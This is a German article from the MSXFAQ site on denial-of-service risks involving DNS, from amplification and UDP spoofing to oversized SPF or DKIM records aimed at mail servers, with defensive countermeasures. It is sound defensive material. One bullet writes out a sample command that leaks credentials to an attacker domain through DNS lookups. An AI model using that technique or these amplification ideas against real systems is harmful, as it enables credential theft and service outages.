MSXFAQ MeetNow aktiv: Komm doch einfach dazu.

DoS mit DNS

Ohne DNS würde das Internet nicht funktionieren, da niemand die IP-Adresse zum gewünschten Namen erreichen kann. Auf dieser Seite beschreibe ich die Risiken von DNS und mögliche direkt und indirekte Angriffe

Direkte Angriffe

Wer immer einen Server im Internet betreibt, muss damit rechnen, dass mit Absicht oder aufgrund von Softwarefehlern oder Konfigurationsfehlern dieser Server über gebühr belastet wird. Eigentlich alle im Internet erreichbaren DNS-Server antworten auf Anfragen über Port 53/UDP. Ein Angreifer mit genug Bandbreite, insbesondere verteilte Angriffe (DDoS) auf einen DNS-Server können die Funktion zumindest erschweren oder sogar den Server so überlasten, dass er nicht mehr zeitnah reagiert. Als Betreiber haben Sie natürlich verschieden Optionen.

  • Erreichbarkeit
    Prüfen Sie genau, von welchen Systemen ihr DNS-Server erreichbar sein muss. Ein interner DNS-Server ihres Active Directory müssen Sie in der Regel nicht aus dem Internet erreichbar machen. Sogar intern können Sie "anonyme" und "authentifizierte" Clients mittels 802.1x unterschiedlich behandeln und einen separaten DNS-Service für nicht verwaltete Geräte anbieten.
  • Scale out
    Viel hilft viel und natürlich können sie mehrere DNS-Server aufbauen und sogar hinter Loadbalancern oder Anycast IP und Routing verstecken. Das ist sicher auch ein Teil zum Schutz der Root-DNS-Server oder öffentlichen Diensten wie 8.8.8.8, 9.9.9.9, 1.1.1.1 u.a.

Der erste Schritt hier die Überwachung ihrer DNS-Server, z.B. auf die Anfragen pro Zeiteinheit, um ungewöhnliche Aktivitäten zu erkennen und dann Gegenmaßnahmen einleiten zu können.

Es gibt aber durchaus Domains, die sehr oft von Clients gefragt werden und vom Anbieter mit einem sehr kurzen TTL von 0 Sekunden oder wenigen Sekunden ausgestattet werden. Dazu zählt auch Office 365 mit Adressen wie:

outlook.office.com             TTL=10
teams.microsoft.com            TTL=30
worldaz.tr.teams.microsoft.com TTL= 0

Microsoft argumentiert hier, dass per DNS Round Robing und DNS Loabalancing ein Client bei Problemen mit dem Transfernetzwerk, dem Peering zu Microsoft oder auch einem Datacenter sehr schnell auf ein anders Cloud-RZ umschwenken kann.

Forwarding oder Refer

Wenn ihr DNS-Server erreichbar ist, dann sollten Sie überlegen, ob dieser nur die Informationen über selbst gehostete Zonen liefert oder anfragende Clients auch zu anderen Servern verweist oder sogar rekursiv die Daten besorgt. Gerade die Rekursion kann in beide Richtungen gefährlich sein.

  • Extern nach Extern
    Wenn ein externer Client ihren DNS-Server erreichen kann und dieser auch Informationen über andere Zonen besorgt, dann ist ihr DNS-Server aus Sicht der anderen Server der Client. Als Angreifer könnte ich z.B. sehr große TXT-Records etc. anlegen und dann mit einer kleine Anfrage eine deutlich größere Datenmenge als Antwort an ihren Server verursachen.
  • Intern nach Extern
    Aber auch interne Clients sind nicht immer freundlich. DNS-Server und per DNS bereitgestellte Informationen werden durchaus als "Command and Control-Service" missbraucht und mit geschickten Anfragen an DNS-Server kann ich auch von intern Daten fast unbemerkt nach extern schmuggeln. Als Angreifer setze ich einfach einen öffentlichen DNS-Server auf, der jede Anfrage protokolliert und meine Malware auf ihrem Computer sucht nach Anmeldedaten um diese per NSLOOKUP -Q=A username=kennwort@<angreiferdomain> aufzulösen. Und schon habe ich auf dem DNS-Server die Daten erhalten.

Prüfen Sie daher, ob ihr DNS-Server wirklich für alle Clients und Subnetze auch ein Forwarding erlauben soll. Wenn Sie für das Surfen im Internet sowieso einen HTTP-Proxy einsetzen, dann muss der Anwender oder PC gar nicht selbst die öffentlichen Adressen auflösen können. Wenn es explizit Bedarf für einzelnen Gegenstellen gibt, dann könnten Sie diese auch als STUB-Zone selektiv nach extern routen oder besser noch mit einem selektiven Forwarding arbeiten.

DNS und UDP-Spoofing

DNS nutzt meistens noch UDP als Protokoll. Erst wenn die Anfragen und insbesondere die Antworten größer werden (Siehe DNS, TCP und 512 Bytes) müssen DNS-Client und DNS-Server auf Alternativen wie eDNS oder DNS/TCP umsteigen. Es gibt leider immer noch Internet Provider, die DNS-Server für Kunden anbieten aber nur UDP erlauben und damit eine Auflösung per TCP erschweren. Solange Sie aber UDP nutzen, könnte UDP-Spoofing ein Risiko sein.

 

Wenn Sie auf ihrem DNS-Server z.B. sehr viele TXT-Records haben, dann kann ein einfacher "NSLOOKUP -q=TXT <domain>" eine größere Antwort generieren. Sie sollte aber wieder unter 512 Bytes sein, da ansonsten der DNS-Server den Client anweist, auf TCP zu wechseln.

Gegenmaßnahmen:

  • Betreiben Sie keinen "allgemein erreichbaren" DNS-Server
    Wenn Sie DNS-Dienste nur für ihre Clients bereitstellen, dann ist das Risiko eingeschränkt. Ein Internet Provider könnte z.B. einen DNS-Server für seine Kunden anbieten und die Erreichbarkeit und Antworten auf die eigenen Subnetze (AS-basiert) beschränken.
  • DNS-Server mit Throttling
    Einige DNS-Server aber auch Firewalls können die Antworten an IP-Adressen drosseln, z.B. Anhand der Anfragen pro Zeit oder Kilobyte/Zeit.

Anders als bei TCP gibt es bei UDP keinen klassischen Handshake und auch keine Verbindung. Der Client sendet eine DNS-Anfrage mit einer IP-Adresse als Absender. Der DNS-Server liefert dann die Antwort an die Client-IP. Bei UDP ist es relativ einfach die Client-IP zu fälschen und damit den DNS-Server dazu zu bringen, mit der Antwort ein fremdes System zu belasten.

Indirekt auf Mailserver

Wenn ein Mailserver seinem Gegenüber eine Mail zustellen will, dann löst er für gewöhnlich den MX-Record auf, in seltenen Fällen auch einen A-Record und verbindet sich mit dem Server über Port 25/TCP. Weil das so einfach und kostengünstig ist, nutzen auch viele Spammer diesen Weg und Empfänger versuchen zusammen mit legitimen Absendern sich dagegen zu wehren. Auch hier spielt DNS wieder eine Rolle:

  • MX-Record
    Es gab tatsächlich einmal ein Angriffs-Szenario gegen Exchange OnPremises, bei dem der Angreifer sehr viele MX-Records für eine Domain angelegt hat und dann eine Mail von diesem Exchange Server an seine Adresse provoziert hat, z.B. durch eine Terminanfrage, auf die sicher jemand ablehnt oder eine Unzustellbarkeit sendet. Exchange hat sich dann beim MX-Lookup verschluckt und der SMTP-Dienst hat gestoppt.
    Siehe auch CVE-2010-0024 Vulnerabilities in Microsoft Exchange and Windows SMTP Service Could Allow Denial of Service (981832) https://learn.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-024
  • SPF, DKIM, DMARC, ARC
    Der Absender veröffentlicht eine Liste als TXT-Eintrag im DNS, in der alle legitimen Server enthalten sind. Der empfangende Server kennt die IP-Adresse des einliefernden Servers und prüft anhand der SPF-Einträge, ob die Übermittlung legitim ist. Der empfangende Server muss im schlimmsten Fall einige DNS-Anfragen stellen, bis er die Liste der legitimen Server vorliegen hat. Als Angreifer könnte ich diese Liste absichtlich sehr groß machen, um ihren Mailserver aber vor allem auch ihre interne Namensauflösung zu stressen. Das ganze garniere ich noch mit einem TTL=0, um möglichst viele Anfragen zu provozieren und auf dem DNS-Server den Cache abzuschalten.  Die per DKIM veröffentliche Schlüssel sind ebenfalls ziemlich groß und werden vom empfangenden Mailserver bei jeder eingehenden Mail geprüft. Mit einem TTL=0 ergibt dies auch viele Anfragen an ihren DNS-Server.

Ein Mailserver, der per SMTP von extern angesprochen wird, stellt jede Menge DNS-Anfragen, um die Spamfilter mit Informationen zu beliefern oder Mails zuzustellen. Die angefragten Namen werden dabei aber vom möglichen Angreifer kontrolliert. Die Entwickler eines Mailservers oder Spamfilters sollten damit rechnen, dass DNS-Abfragen ungültige oder überlange Antworten liefern, absichtlich langsam reagieren oder anderweitig ihre Funktion stören. Ich habe bislang aber noch nicht gesehen, dass ein DNS-Resolver einen per DNS-Antwort gelieferten Befehl ausführt..

Probleme mit DNS waren in der Vergangenheit aber durchaus immer wieder mal an der Tagesordnung:

The Fragility of DNS-Based Security Under Imperfect DNS Operation
WhitePaper: https://madweb.work/papers/2026/madweb26-paper41.pdf

Vortrag: The Fragility of DNS-Based Security Under Imperfect DNS Operation
https://youtu.be/36o_76vnvwk?t=3430

Auch Microsoft optimiert seine Produkte entsprechend.

In early third quarter of 2026, mail.protection.outlook.com will receive TCP and EDNS support. This modernization improves reliability and enables future security enhancements at cloud scale.  
Quelle: Modernizing DNS Security for Exchange Online Mail Flow https://techcommunity.microsoft.com/blog/exchange/modernizing-dns-security-for-exchange-online-mail-flow/4514248

Weitere Links